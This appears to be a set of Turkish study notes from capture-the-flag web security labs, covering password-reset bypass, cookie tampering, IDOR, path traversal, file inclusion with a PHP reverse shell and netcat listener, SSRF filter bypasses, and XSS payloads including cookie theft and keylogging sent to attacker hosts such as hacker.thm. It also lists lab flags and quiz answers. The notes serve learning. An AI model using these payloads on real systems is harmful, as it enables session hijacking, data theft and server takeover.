- kayıt olduktan sonra bize bir mail veriyor örn: 'dogukan@customer.acmeitsupport.thm'
- gelen ticket lar burada görüntülernir. bizde yönlendirmeyi bu hesap üzerine yapacağız.
- kullanım:
-
curl 'http://10.10.63.177/customers/reset?email=robert@acmeitsupport.thm'
-H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=dogukan@customer.acmeitsupport.thm'
açıklama:
- curl ifadesinden sonra bu kısım: 'http://10.10.63.177/customers/reset?' reset kısmı ve
ek olarak bu kısım: 'email=robert@acmeitsupport.thm' şifresi resetlenecek olan hedef mail adresi
- -H ile http ye özel bir başlık ekliyoruz: 'Content-Type: application/x-www-form-urlencoded'
- -d ile kullanıcı ad robert olan ve mail adresi bizim mail adresini işaret eden ek bir bilgi ekliyoruz.
- 've support ticket imize gelen: ' Password Reset 04/09/2024 04:35 Open' ticket. içine bakalım:
- bize bir sıfırlama bağlantısı verdi: 'http://10.10.63.177/customers/reset/91d253e611662a984f96b88e746b8211'
- hadi oraya gidelim(çok eğlenceli değil mi!? :) )
- ve evet! hedef kullanıcı hesabı içerisindeyiz.
- ona da giden ticket a bakalım ne var!
- ve baam: 'THM{AUTH_BYPASS_COMPLETE}
- 'Cookie Tampering:
- bu kısımda çerezler üzerinde oynama yapacağız.
- cookie lerde değişiklik yaparak kimlik doğrula adımlarını bypass etme yöntemine bakacağız.
- hatırlatma: cookie:
- 'web sunucusu tarafından 'Set-Cookie:' http başlığı ile gönderilen ifadelerin browser tarfından kayıt edilmesi'
've ilgili siteye her gidildiğinde cookie bilgisinin de göndrilmesiyle ilgi bir süreçtir.'
- anlayacağınız üzere yine 'curl' aracını kullanacağız.
- şimdi adım adım ilerleyelim.
- curl 'http://10.10.94.75/cookie-test'
==>> Not Logged In
- herhangi bir girişin olmadığını söyledi bize
- curl -H "Cookie: logged_in=true; admin=false" http://10.10.94.75/cookie-test
==>> Logged In As A User
- şimdi ise bir kullanıcı girişi olduğunu söyledi.
- eğer admin i de true yaparsak:
- Logged In As An Admin - 'THM{COOKIE_TAMPERING}
- ve bayrağı yakaladık!
- bu tip bilgiler her zaman açık metin olarak gösterilmez. Hash üzerinde duralım: geri dönşü olmayan karmaşık etiket sistemi diye biliriz.
3b2a1053e3270077456a79192070aa78 === md5 === 463729
VEhNe0JBU0U2NF9FTkNPRElOR30= === base64 === THM{BASE64_ENCODING}
{"id":1,"admin":true} === base64 === eyJpZCI6MSwiYWRtaW4iOnRydWV9
not base64: dönüştürme işlemi yani değerin başka bir değere dönüştürülmesi
md5: bir şifreleme işlemi yani değerin imzası gibi düşünebiliriz.
9.Study:'IDOR:Güvenli olmayan doğrudan nesne referansları:Insecure Direct Object Reference
- 'kısa bilgi:
- IDOR: web sunucusuna herhangi bir istek atıldığı zaman talep edilen içeriğin,
talep eden için uygun olup olmadığını kontrol etmeden istenilen içeriği göndermesi sonucunda ortaya çıkar.
- örn: diyelimki biz bir siteden alış-veriş yapabiliyoruz ve kendi bilgilerimizi görüntülele biliyoruz.
bir başkasınında ait sunucuya gönderilen istekler üzerinde değişiklik yaparak başkasına ait siparişleri
görüntülene biliyorsa burada 'Güvenli Olmayan Doğrudan Nesne Referansları{IDOR}' ortaya çıakr.
- 'IDOR Encode - Decode:
- her zaman bu IDOR açığı link üzerinde görülmeyebilir.
- mesela farlık konlama teknikleri kullanılarak bu bilgi gönderilebilir.(örn:base64)
- örn: base64(Ok.eq)e => decode(id:10)d=> tamper(id:30)=>encode(Ok.fq)e=>submit
burada değiştirilen değer karşılığında bir değer dönense IDOR zafiyet vardır.
- en yaygın yöntem olarak 'base64'
- 'IDOR Hash Algoritmaları:
- sunucuya gönderilen ek bilgiler hash algoritmaları ile de gerçekleştirilebilir.
- bu yöntemle yapılan şifrelemeyi çözmek çok daha zordur.
- bir önceki adımda bir bilginin başka birşeye dönüşümünü görmüştük ama burada hash algoritmaları kırma süreci gerektiren bir durumdur.
eğer şanslıysak daha önce kırılmış değerler ile karşılaşabiliriz.
bunun için web de bulabileceğimiz sitelerde aratarak veri tabanlarındaki hashler ile karşılaştırma yapabiliriz.
- 'https://crackstation.net/' gibi.
- en sık karşılaşılan hash: 'md5'
- 'IDOR Bulma Yöntemi:
- IDOR güvenlik açığı kontrolü için ilgili sistemde en az iki (2) hesap oluşturarak bir kullanıcıya ait özel alana
başka bir kullanıcı ulaşabiliyor mu denmeler yapar buna bakılabilir.
'ÖNEMLİ KISIM!!!!!
- 'IDOR Nerelerde Bulunur:
- IDOR güvenlik açığı sadece linkte karşımıza çıkmaz:
- bir AJAX isteği olabilir
- bir javascript dosyasına referan ile bilgiler gönderilebilir
- yada url de '/user/details' şeklinde bir yol gözükebilir ve arkada '/user/detais?user_id=123' bu bilgi eklenerek yapılıyor olabilir.
- bunun içinde browser araçları ile http requsets/response paketleri analiz edilerek bu aşama incelenebilir.
- mesla: 'https://10-10-177-60.p.thmlabs.com/api/v1/customer?id=50' bu:
- bizim your account sayfasında öğeyi denetle den network kısmına gidilerek
'cutomer?id=50' yazan satıra çift tıkladığımızda karşımıza:
id 50
username "dogukan"
email "dogukan@gmail.com"
bu bilgiler çıkıyor. bu bilgiler bize özel. Ama bir urlde şunuda görüyoruz:
- '?id=50' eğer bu sayı değiştirirsek mesela:
https://10-10-177-60.p.thmlabs.com/api/v1/customer?id=45 gibi: sonuç:
id 45
username "john911"
email "j@fakemail.thm"
başka kişilerin verilerinede ulaşabiliyoruz.
10.Study:
- 'File İnclusion Nedir:
- web site içerisindeki dosyaların dışında sunucunun içerisindeki farklı dosyalara da ulaşılabiliyorsa
burada FI(File Inclusion) açığı var demektir.
- 'Path Traversal Güvenlik Açığı:
- bu güvenlik açığını ortaya çıkaran şey yeterli kimlik doğrulama yönteminin kullanılmamasıdır
- ve özel karakterlere karşı herhangi bir kısıtlamanın bulunmamasıdır.
'not: file_get_contents fonksiyonu sunucu daki dosyaların bulunmasını sağlar
- erişim kısıtlaması ve talep eden kişinin talep ettiği şeye gerçekten yetkisi varmı durumunun
kontrol edilmemesi bu açığın sömürülmesine yol açar.
- bunda da 'Directory traversal' veya 'Path Traversal' Güvenlik Açığı denir.
- bu fonksiyon site için iyi de olsa kullanım kısıtı,kimlik doğrulama gibi önlemlerin alınması gerekiyor==>'file_get_contents'
- 'Local File Include(Yerel Dosya Ekleme) Güvenlik Açığı:
- web uygulamalarındaki bir güvenlik açığıdır. Bu açık,
saldırganların sunucudaki dosyaları izinsiz olarak görüntülemelerine veya çalıştırmalarına olanak tanır.
LFI, kullanıcı girdilerinin yeterince doğrulanmaması durumunda ortaya çıkar. Saldırganlar,
örneğin bir URL parametresini manipüle ederek sunucudaki kritik dosyalara erişebilir.
LFI dan korunmak için kullanıcı girdilerini doğrulamak, dosya yollarını sabitlemek
ve güvenli kodlama uygulamalarını benimsemek önemlidir.
- 'önlem olarak:
- Kullanıcı Girdilerini Doğrulama: Girdi olarak dosya yolu alırken, girdiyi dikkatlice doğrulamak.
- Sabitleme: Dosya yollarını sabit ve güvenli bir şekilde tanımlamak.
- Güvenli Kodlama: include ve require gibi fonksiyonlarda kullanıcıdan gelen verileri doğrudan kullanmamak.
- Beyaz Liste: sadece belirlenen istek yapısının çalıştırılması.
'lab1: düzgün yapılanma olmadığında /etc/passdw dosyasını okuyabiliyoruz.
- bize istel url ini sordu: '/lab1.php?file=/etc/passwd'
lab2: burada da inlude fonksiyonunda belirtilen dizinini sordu: 'includes'
- 'Local File İnclude Kısıtlamaları Aşmak:
- lab dan devam edelim:
- lab3:
burada '../../../../etc/passwd' dosyamızı görüntülemek istediğimiz de passwd.php olmuş.
bunu için: php de '%00': kendinden sonra gelen karakterlerin yok sayılmasını sağlayan özel bir karakter.
şöyle değiştirelim: '../../../../etc/passwd%00'
yani: '/lab3.php?file=../../../../etc/passwd%00' bunu url de yapmamız gerek!
ve bam kullanıcı dosyasına ulaştık.
sonradan eklenen .php yi devre dışı bıraktık.
- lab4:
- burada '../../../../etc/passwd' bu ifade bir bütün olarak engellenmiş olabilir.
- ../ bir üst dizini ifade ederken ./ mevcut dizini gösterir
- bunu için de: '../../../../etc/./passwd' etc dizinini tekrar ederek bu açıktan faydalandık
- dizin geçişine :file_get_contents
bunu öğrenmek için: olmayan bir dosya adı girilerek gelen hatada bulabiliriz.
- lab5: kullanılan yöntem: '....//....//....//....//etc//passwd'
- dizin geçişleri filtrelenmiş olduğundan ek olarak: ../ ,/ ekledilk ve giriş yapmış olduk.
- lab6:
- önce burada ne var bir görüntülemeye çalışalım
burada sadece THM-profile dizinindeki dosyaları okuyabileceğimiz söyleniyor.
şöyle yaparsak: 'THM-profile/../../../../etc/os-release'
'os-release' dosyasını okuyabiliyoruz. burada bize bu dosya içindeki VERSION_ID unu soruyor: 12.04
- 'Remote File Inclusion: uzak dosya ekleme
- burada da bir önceki LFI gibi bir durum var ama bu sefer yerel sunucu yerine uzak sunucuda bu işlemler
sanki yereldeymiş gibi yapılıyor
- bunun için playgroud kısmında adımlarımız:
- web sunucusu için kendi çalışma ortamını kullanacağız ayarlama yapmak için önce ip adresimizi öğrenelim
ifconfig: 10.9.1.85 (openvpn bağlantısıdan tryhackme den alınan ip)
- daha sonra:
dosymız: '/usr/share/webshells/php/php-reverse-shell.php'
burada düzenleme yapacağız.
ip ve port alanları.(port sabit kalabilir)(sudo nano)
- daha sonra:
çalışma ortamımızı geçiçi bir web server a döndürmek için:
python3 -m http.server
-şimdi bağlantıyı dinlemeye almamız gerek. bir bağlantı gelince bunu alalım:
yeni bir pencerede:
netcat aracı kullanarak shell i oluştururken kullandığımız 1234 portunu dinleyeceğiz.
nc -lvp 1234
- şimdi tryhacme de kendi ip miz üzerinden bir shell dosyamızı yükleyeceğiz.
mevcut sistem ele geçirildi.
netcat aracının çalıştığı yerde dolar işareti çıkacak
burada: hostname yazarak bu görevi çıkan bilgi ile son kısımdaki son soruyu cevaplaya biliriz.
- 'Ne Nerelerde Bulunur:
- 'Yerel Dosya Ekleme (LFI):
- giriş noktası bulma:
- get, post, cookie veya http başlıkları gibi yollarla sunucuya dosya yolu sağlayan bir giriş noktası bul
- geçerli dosya girdisi deneme:
- beklenen bir dosya adı veya yolu ile sunucunun normal çalışmasını gözlemleyin:örn: 'index.php?page=about.php'
- geçersiz girdilerle test:
- özel karakterler ve sistem dosyaları gibi girdiler ile hata mesajları veya sistem dosyalarına erişim sağlamayı deneyin:
örn:'../../etcpasswd'
- doğrulama ve filtreleme kontrolü:
- sunucuya gönderilen dosya yolları üzerinde hangi filtrelemelerin ve doğrulamaların yapıldığını anlamaya çalışın
- hassa dosyları okuma:
- giriş noktlarını kullanarak sunucu üzerindeki hassas dosyaları okumaya çalışın: örn:
- '/etc/passwd, C:\windows\system32\drivers\etc\hosts'
- 'Uzaktan Dosya Ekleme (RFI):
- Uzak Dosya Eklemeye Açık Noktaları Bulma:
- get, psot gibi yöntemlerle dosya yolu alabilecek yöntemler bulun
- Geçerli Uzak Dosya Girdisi Deneme:
- uzak bir sunucudan erişilebilir dosyayı eklemeyi deneyin:
'http://evil.com/malicious.php'
- Geçersiz URL lerle Test:
- hatalı veya kötü amaçlı URL ler girerek sunucunun nasıl tepki verdiğini kontrol edin
- Sunucu Davranışını Anlama:
- uzak dosyaların ne şekilde dahil edildiğini ve sunucunun nasıl tepki verdiğini anlamaya çalışın
- Zararlı Dosya Yükleme:
- eğer RFI açığı varsa, uzaktaki sunucudan zararlı bir dosya yükleyip çalıştırmayı deneyin
- 'Dizin Geçişi (Directory Traversal)
- Dizin Geçişine İzin Veren Giriş Noktası Bulma
- giriş noktasından dosya yollarını belirtebileceğiniz bir alan bulun
- Geçerli Dosya Yolu Deneme
- normal bir dosya yolu ile sunucunun beklene dosyayı görüntüleyip görüntülemediğini kontrol edin
- Dizin Geçişi Karakterleri Kullanma
- ../, . , ..\\ , %00 gibi karakterler ekleyerek sunucunun dizin yapısında geri gitmeye çalışın
- ../../etc/passwd
- Hataları ve Dosya Yollarını İzleme
- geçersiz dizin geçişi denemeleri sırasında sunucunun hata mesajları veya açığa çıkan dosya yolları olup olmadığını kontrol edin
- Hassas Dosyalara Erişim Deneme
- dizin geçişi açığını kullanarak sunucu üzerindeki hassas dosyalara erişmeye çalışın
- passwd, config.php, web.config...
- 'chalenge:
- bize post methodu ile file parametresi kullanılarak dosya yolla deniyor aradığımız 'etc/flag1'
biz bunu browserda inpector aracı kullanarak yapacağız (öğeyi denetle)
burda gönderim kısmını bulup post ile değiştireceğiz
dikkat: bu anlı işlem için geçerli bir sonraki tekrarlamamız gerek
daha sonra giriş kısmına 'etc/flag1' yazarak sonucu bulalım: F1x3d-iNpu7-f0rrn
- burada inpectet==> store kısmında value değerini deneyerek bakalım önce:
- admin: ama bir fonksiyon hatası aldık
- ../../../../etc/flag2: dosyamıza .php eklendi
../../../../etc/flag2.%00 ever sonucu aldık: c00k13_i5_yuMmy1
- bu kısım biraz zorlu oldu o yüzde curl aracını kullanacağız:
- hatırlarsak curl aracımız browser ın komut satırı olanıydıy. Hadi nasıl kullandığımıza bakalım
- öğrendiğimiz browser üzerinde yapılan eğişiklikler bize yardımcı olamadı bu görevede çüknü filtreleme mevcut
- bunu için comut satırı arcı olan crul ü kullanalım ve açıklayalım:
- curl -X POST -d "file=../../../etc/flag3%00" http://10.10.167.25/challenges/chall3.php --output flag3
açıklama:
curl: url ler üzerinden veri iletmek için kullanılan bir komut satırıdır.
web sitelerine http/https istekleri yapmak için yaygın olarak kullanılır
- -X POST: http post yöntemi ile isteğin gönderileceği belirtilir
- -d "file=../../../../etcflag3%00": post isteği ile gönderilecek veriyi belirtir.
burada 'file' adında bir parametreye değer olarak:'../../../../etc/flag3%00' veriliyor
bu ifade bir kaç önemli parçaya sahip:
../../../../etc/flag3: Director Traversal saldırısı yapmaya çalışan bir dosya yoludur
ilgili sunucu kök dizinde itibaren dört diizn geri giderek '/ect/flag3' dosyasını arar.
'%00': null byte olarak bilinir. Eski sistemlerde dizge sonlandırıcı olarak kullanılır.
bazı durumlardad, sunucu tarafından dosya adı ile birlikte gönderilen fazladan
karakteri yok saymak için kullanılır.
- http://10.10.167.25/challenges/chal3.php: POST isteğinin gönderileceği hedef URL dir. İlgili dosya yolu ile
PHP betiğine bir istek gönderilir.
- --output flag3: sunucudan dönen yanıtı bir dosyay kaydeder.
- flag dosyamızı açtığımızda anlamsız ifadeler gelebilir. formatı UTF8 yaparak aşağılara doğru inildikçe
dosya içeriğinin bayrağını bulabilirsiniz.: P0st_1s_w0rk1in9
yada:
mv flag3 flag3.html|firefox flag3.html
yaparak dosyamızı görüntüleyebiliriz.
11.Study:'Server-Side Request Forgery (SSRF): Sunucu Tarafı İstek Sahteciliği
- 'SSRF nedir?:
- farklı bir web sunucusundan hedef sistem üzerinde ek veya düzenlenmiş
bir http isteği yapmasına neden olan bir güvenlik açığıdır.
yani x kişisi A.com web sitesindedir ve parola değiştirme istiyordur
işlemi A.com web sitesinde yapıyorsunuz ama bu web sitesinde ayaptığı
işlem B.com sistesinde gerçekleşiyor.
yani: x kişisi A.com web sitesindeki şifresini değiştirmeye çalışıyor
ama bu B.com daki şifreyi değiştiriyor ve bu bilgileri saldırgana
aktarıyor.
- 'iki türlü SSRF var:
1: değiştirilen bilgilerin veya yapılan işlem bilgilerinin saldırgana döndürüldüğü
2: Blind(Kör) SSRF:
- burada ise değişiklik yapılan bilgiler saldırgana döndürülnüyor.
- 'bu istismar ile:
- yetkisiz alanlara erişim
- müşteri/kurum verilerine erişilebilir
- kimlik doğrulama verilerine erişilebilir
- 'SSRF ile ilgili bir örnek yapalım:
- burada 'website.thm' => A ve içeriklerin getirldiği 'api.website.thm' => B var.
- yani istemci, A sunucusudan bir şey istendiğinde
B sunucusu bunu karşılayarak A ya, A da istemciye gönderim sağlar.
- örnek istek: http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123 gibi.
- ama bizim hacker rahat durur mu durmaz. ne yapıyor, çeşitli arçlar kullanarak(Burpsuit)
-http://website.thm/stock?url=http://api.website.thm/api/user olarak değiştiriyor.
- sunucudaki kullanıcı listesine ulaşmak istiyor.
- 'başka bir örnek:
- http://website.thm/stock?url=/item?id=123
- ama bizim çocuk ne yapıyor:
- http://website.thm/stock?url=/../user yaparak
buradaki bilgilerin kendine gelmesini sağlıyor (Director Traversal)
- 'başka bir durum:
- koşullu bir durum olarak: http://website.thm/stock?server=api&id=123 olan normal istek
- bizim çocuk taradından:
http://website.thm/stock?server=api.website.thm/api/user&x=&id=123 yaparak
burda bir özel durum oluştu: &x= bu üç ifade yan yana geldiğinde kendinden sonra gelen
değerin yok sayılması anlamına geliyor.
yani: bu http://website.thm/stock?server=api.website.thm/api/user&x=&id=123 sunucuya
giderken:
http://website.thm/stock?server=api.website.thm/api/user&x=website.thm/api/stock/item?id=123
gidiyor ve şu kısım:
website.thm/api/stock/item?id bir parametre değeri sayılarak hacker a 123 id nurasına sahip
kullanıcı bilgisi gönderiliyor.
"tabi bunların hepsi herhangi bir önlem yoksa gerçekleşmektedir."
- 'bir başka durum ise hackerın API yi tamamen devre dışı bırakması:
- http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123 sunucuya gitmesi gereken
istek hacker tarafından:
http://website.thm/stock?url=http://hacker-domain.thm/ olarak değiştirilir
ve burada hedeflenen iki sunucu arasında haberleşme için kullanılan API KEY hedeflenir
hacker kendi web sitesini yazarak normalde istek için kullanılan API KEY bu sefer
hacker gönderilerek KEY elde edilmesi amaçlanır.
yani sunucular arası http başlıkları elde dildi.
- 'küçü bir uygulama:
bizden: https://server.website.thm/flag?id=9 bu radaki bayrağı görüntülememizi istiyorum:
bizim değişitirdiğimiz url: https://website.thm/item/2?server=server.website.thm/flag?id=9&x=
suncuya giden istek: https://server.website.thm/flag?id=9&x=.website.thm/api/item?id=2
bize dönen yanıt: Flag ID: 9 Found! THM{SSRF_MASTER}
- 'SSRF Bulmak:
- bu kısmda SSRF açığı nasıl bulunur a değineceğiz:
- SSRF i bulma olanağının yüksek olduğu dört yere bakacağız. Başlayalım:
- ilk olarak url de şöyle bir şey görürsek:
- https://website.thm/form?server=http://server.website.thm/store
bu kısımda : =http://server.website.thm/store
arayabiliriz. burda farlı bir sunucu işaret ediliyorsa SSRF açığı aryabiliriz.
- daha sonra sayfa kaynak kodunda şuna benzer bir gizli değer ile karşılaşırsak:
- örn: <input type="hidden" name="server" value="http://server.website.thm/store">
şu kısımda: value="http://server.website.thm/store"
SSRF açığı araya biliriz.
- yine şöyle bir URL tespit edersek:
- https://website.thm/form?server=api
şu kısımda =api
SSRF araya biliriz.
- yine şöyle bir yapı olursa:
- https://website.thm/form?dst=/form/contact
bu kısmda da =/form/contact
SSRF açığı arayabiliriz.
- blind ssrf çalışması yaparken yaralanabileceğimiz bir site: https://pipedream.com/requestbin
- http isteklerin takip edilmesini sağlayan site.
- 'SSRF kısıtlamalarını aşmak
- uygulama geliştiricisi SSRF güvenlik açığına karşı bazı tedbirler alabirlir örn:
- Deny List:Reddetme listesi
- belli bir kalıpla eşleşen isteklerin reddedilmesini
sağlayabilir ve istismarın önüne geçmeye çalışabilir
- fakat hacker örn: reddetme listesinde 169.254.169.254 de önemli veriler olduğunu düşünelim
hacker, bu ip üzerine bir domain satın alarak ip kullanmadan ip kullanır ve buraya ulaşabirlir.
yani, bu domain çözümlendiğinde bu ip yi işaret edeceğinden ip kullanmadan domain üzerin
referans ile burayı işaret edebilir
- Allow List:İzin listesi
- mesela: https://website.thm ile başlaması gerektiğine dair kural koyabilir.
- hacker ise bir domain alarak ama alt domine çevrilmiş olarak:
https://website.thm.attacker-domain.thm ayarladığında bu kuralı da ezebilir.
'alt domain sınırı yoktur'
- Open Redirect:Açık yönlendirme
- yönlendirilen kaynağın başında sabit bir değer varsa örn: website.thm olarak başlaması gerekiyorsa
hacker yine bir domain alarak alt domaini hedefin istediği şekilde olur ve bu sayede
kısıtlama aşılabilir.
soru:
Katı kuralları aşmak için hangi yöntem kullanılabilir? : Open Redirect
Bulut ortamında hangi IP adresi hassas veriler içerebilir? : 169.254.169.254
Yalnızca belirli girişlere izin vermek için ne tür liste kullanılır? : Allow List
Belirli bir girişi durdurmak için ne tür bir liste kullanılır? : Deny List
12.Study:'Cross-site Scripting(XSS):Siteler Arası Betik/Komut Çalıştırma
- 'Kısa bilgi:
- bu açık eski olmasına rağmaen günümüzde halen yaygın olarak karşılaşılmaktadır.
- ve büyük platformlarıda etkilemektedir.
- bu açık istismar edilerek sisteme javascript kodları enjecte edilebilir.
- 'XSS Payload:
- hedef sistemde çalıştırılmasını istediğimiz javascript kodu dur.
- XSS açığı bulunan sistemlerde özellikle dört amaç doğrultusunda kullanılabilir.
Bunlar;
Proof Of Concept:
- en temel olarak xss in varlığını doğrulamak için kullanılan payloadlardır.:
- <script>alert('XSS');</script> gibi
Session Stealing:
- hedef sistemdeki kullanıcının hesabını ele geçirme düşüncesi ile cookie bilgilerini elde etmek için kullanılan payloadlardır.
- <script>fetch('https://hacker.thm/steal?cookie='+ btoa(document.cookie)); </script>
Key Logger:
- web sayfasından basılan her tuşun saldırgan kontrolündeki bir siteye yönlendirilmesini sağlayan XSS payload kodu dur.
- <script> document.onkeyprss = function( e ) { fetch( 'https://hacker.thm/log?key=' + btoad(e.key) ) ; } </script>
Business Logic:
- mesela bir mail değiştirme işlemi için user.changeEmail()
- bu güvenlik açığı tespit edilirse:
- <script>user.changeEnail('attacker@hacker.thm');</script>
- mail değiştirilebilir
- soru:
Hangi belge özelliği kullanıcının oturum belirtecini içerebilir? : document.cookie
Kavram Kanıtı olarak sıklıkla hangi JavaScript yöntemi kullanılır? : alert
- 'Reflected XSS :
- kullanıcı tarafından girilen bir değerin herhangi bir doğrulama olmadan web sayfasının kaynak koduna dahil edilmesiyle ortaya çıkar.
- bu açık geçiçici (link e tıklandığından gerçekleşen) bir açıktır
- bu açık parametrelerde aranır.
- soru: Yansıyan XSS'yi test etmek için URL'nin neresi iyi bir yerdir? : parameters
- 'Stored XSS :
- bu açık Reflected XSS ten daha tehlikelidir.
- javascript konları veri tabanına kaydedilir ve ilgili sayfaya gelen bütün kullanıcılar bu istismardan etkilenir.
- veri tabanına kaydedilince o sayfaya hangi kullanıcı gelirse gelsin o sayfada java script kodu çalışacaktır.
- özellikle:
- web site yorum satırlarında
- ve profil düzenleme kısımlarında karşılaşılan bir XSS türüdür.
- soru: Depolanan XSS verileri genellikle bir web sitesinde nasıl depolanır? : database
- 'Document Object Model Based XSS (DOM Based XSS):
- belge nesne modeli anlamına gelir
- html ve xml dosyalarını için programlama arabirimidir
- yani web sayfası üzerinden ilgili sayfanın içeriğin, yapısını değiştiren bir özellik
- bu değişiklik gerekli kontrole tabi tutulmassa yani bir javascrip enjecte edilebilir pozisyonda olursa
ve bununla ilgili kısıtlamalar olmassa sisteme enjecte edilecek javascript kodlar ile işleyiş değiştirilebilir
- genelde bu açık, web sayfasına gelenleri farklı bir sayfaya yönlendirmede kullanılır
- burada bu açığın tespit edilmesinde dikkat edilmesi gereken şey:
- eval() benzeri metodlar dır. (veya window.location.x)
- çünkü:
- bu özellik gelen işlemi bir komut olarak algılayığ işleme sokuyor.
- ve buna gelen şey bir kısıtlamadan geçmezse
dışarıdan bir kişinin sistemi etkileyecek komutları girmesine izin verilir şekilde kısıtlama olmazsa veya bunlar temizlemezse
o zaman tehlikeli bir durum olark 'DOM Based XSS' açığı ortaya çıkıyor.
- soru: Kaynak kodunda hangi güvenli olmayan JavaScript yöntemini aramak iyidir? : eval()
- 'Blind XSS:
- bu XSS türünü, o an için çalışıp çalışmadığını görmediğimiz bir türüdür.
- örnek ile :
- bir mesaj iletim formu var.
- gönderilen içerik muhattabına doğrudan mesaj olarak gidiyor.
- bu mesaj bölümünde tespit edilen güvenlik açığı Blind XSS güvenlik açığı türü olmuş olur.
- yani: mesaj gönderiliyor ve mesaj içeriğinde javascript kodu var ve bu mesaj karşı tarafa ulaşıp oradan incelenmesi için
veri tabanına kaydediliyor.
yani hem veritabanına kaydedilen hemde muhattabını ilgilendiren bir mesaj yollanıyor.
javascritp kodu da beraberinde gittiğinden doğrudan hedef veritabanına kaydedilmiş javascript kodu oluyor.
ve sadec hedef kişyi etkilemiş oluyor.
bu sadece onun mesaj bölümünde çıkıyor.
- soru:
Kör XSS yi test etmek için hangi aracı kullanabilirsiniz? : XSS Hunter Express.
Kör XSS ye çok benzeyen XSS türü nedir? : Stored XSS
- 'Perfecting your payload : XSS Payload Mükemmelleştirme Uygulamaları
- ilk olarak en temelde Proof Of Concept yöntemile : <script>alert('THM');</script>
- XSS Payload Successful
- bir sonrakinde : sayfa kaynağının görüntülediğimizde bir input girişi var.
bunu kapatmamız gerek: "><script>alert('THM');</script> ek olark "> bunu ekledik
- bir sonrakinde : yine syafa kaynağını görüntüledik ve <textarea> ifadesi arasıda metin olarak alıyor girdiyi.
bizde bunu </textarea><script>alert('THM');</script><textarea> yaparak metin
bölmesinin kapatıp kendi scriptimizi yerleştirdik.
- bir sonrakinde : bu seferde document olarak almış scritp içerisinde ama biz şöyle yaparak onu kapatır ve
kendi scriptimizi çalıştırabiliriz: </script><script>alert('THM');</script>
veya şöyle de yapılabilirdi: ';alert('THM');//
zaten scritp içerisinde olduğundan biz sol tarfı kapatıp sağtarafında yorum satırı olarak ayarladığımızda
sonra gelenler çalışmayacak
- bir sonrakinde : burada script leri filtreleme var. biz de:
<sc<script>ript>alet('THM');</sc</script>ript> sadece script kelimesini filtreledi o halde:
<scscriptript>alert('THM');</scscriptript> ve başardık.
- bir sonrakinde : burada ise daha iyi bir filtreleme var ancak : " onload="alert('THM'); kullnıcı girişimize
bu gir eklendiğinde sonuç değişir.
THM{XSS_MASTER}
- 'Polyglots: Bir XSS poliglotu, niteliklerden, etiketlerden kaçabilen ve filtreleri bir arada atlayabilen bir metin dizisidir.
- jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
açıklama:
jaVasCript:: Bu, tarayıcıya JavaScript kodunu çalıştırmasını söyleyen bir URL şemasıdır.
Genellikle bir XSS saldırısında kullanılır.
/*-/*: Bu, yorum blokları (comments) ile karmaşık hale getirilmiş bir JavaScript kodudur.
Saldırganlar bu teknikleri, güvenlik filtrelerinden kaçmak için kullanır.
onerror=alert('THM'): Bu, eğer bir hata oluşursa, JavaScript'in alert fonksiyonunu çalıştıracak bir olay işleyicisidir.
Bu örnekte, "THM" kelimesini bir uyarı kutusu olarak gösterecek.
%0D%0A%0d%0a: Bu, kodun farklı satırlara geçmesini sağlamak için kullanılan URL kodlamasıdır.
Bu karakterler satır sonlarını temsil eder (%0D ve %0A, sırasıyla carriage return ve line feed karakterleridir).
</stYle/</titLe/</teXtarEa/</scRipt/--!>: Bu, kodun sonuna yorumlar ekleyerek, o
lası diğer kodlardan kaçmayı amaçlar. Bu tür karakterler, HTML ögelerinden kaçış için kullanılır.
\x3c ve \x3e: Bu, < ve > sembollerinin hexadecimal (onaltılık) karşılıklarıdır.
SVG elementi içinde kullanılmak üzere hazırlanmış.
<sVg/onLoad=alert('THM')//>: Bu, bir SVG elementi içinde çalıştırılan başka bir JavaScript kodudur.
SVG dosyası yüklendiğinde, yine bir uyarı kutusu açılır.
- 'Practical Example (Blind XSS): Pratik Kör XSS
- burada önce bize verilen likle gidiyoruz tabi makineyi başlatarak daha sonra
kullanıcı oluşturup mesaj kutusuna bir dene yaparak oluşan ticket agidip
kaynağı görüntülüyoruz ve evet bura bir xss açığı var.
şimdi makinemizde netcat aracı kullanılark belitrilen portta dinleme yapacağız.
nc -nlvp <port_number>
n: DNS çözümlemesini devre dışı bırakır. IP adreslerinin alan adlarına çözülmesini istemediğinizde kullanılır.
Bu, bağlantıyı hızlandırabilir ve gereksiz DNS isteklerini engelleyebilir.
l: "Listen" (dinle) moduna geçer. Netcat'i belirtilen bir portta dinleme moduna sokar, yani gelen bağlantıları kabul eder.
Bu, Netcat'i basit bir sunucu olarak kullanmanızı sağlar.
v: "Verbose" (ayrıntılı) modu etkinleştirir. Bu, bağlantılar, gönderilen ve alınan veriler gibi daha ayrıntılı
bilgilerin ekrana yazdırılmasını sağlar. Sorun giderme veya bağlantının durumunu izlemek için faydalıdır.
p [port]: Dinlenecek port numarasını belirtir. Netcat'in dinleyeceği portu belirler. Örneğin, -p 1234 derseniz,
Netcat 1234 numaralı portta dinlemeye başlar.
yeni bir ticket oluşturup mesaj kısmına:
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script><textarea>
bu kısıma: URL_OR_IP:PORT_NUMBER = 10.10.26.52:9001 gibi olacak
yani ip kısmına openvpn ile bağlandığınız ip yi yazmanız yeterli ifconfig ile öğrenebilirsiniz
açıklama:
</textarea> etiketi metin alanı alanını kapatır.
<script> etiketi bize JavaScript yazmamız için bir alan açar.
fetch() komutu bir HTTP isteğinde bulunur.
URL_OR_IP, THM istek yakalayıcı URL'si, THM AttackBox'taki IP adresiniz veya THM VPN Ağındaki IP adresinizdir.
PORT_NUMBER, AttackBox'taki bağlantıları dinlemek için kullandığınız bağlantı noktası numarasıdır.
?cookie= kurbanın çerezlerini içeren sorgu dizesidir.
btoa() komutu base64 kurbanın çerezlerini kodlar.
document.cookie, Acme BT Destek Web Sitesi için kurbanın çerezlerine erişir.
</script>JavaScript kod bloğunu kapatır.
ve yakaladığımız:
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.9.4.50] from (UNKNOWN) [10.10.26.52] 42182
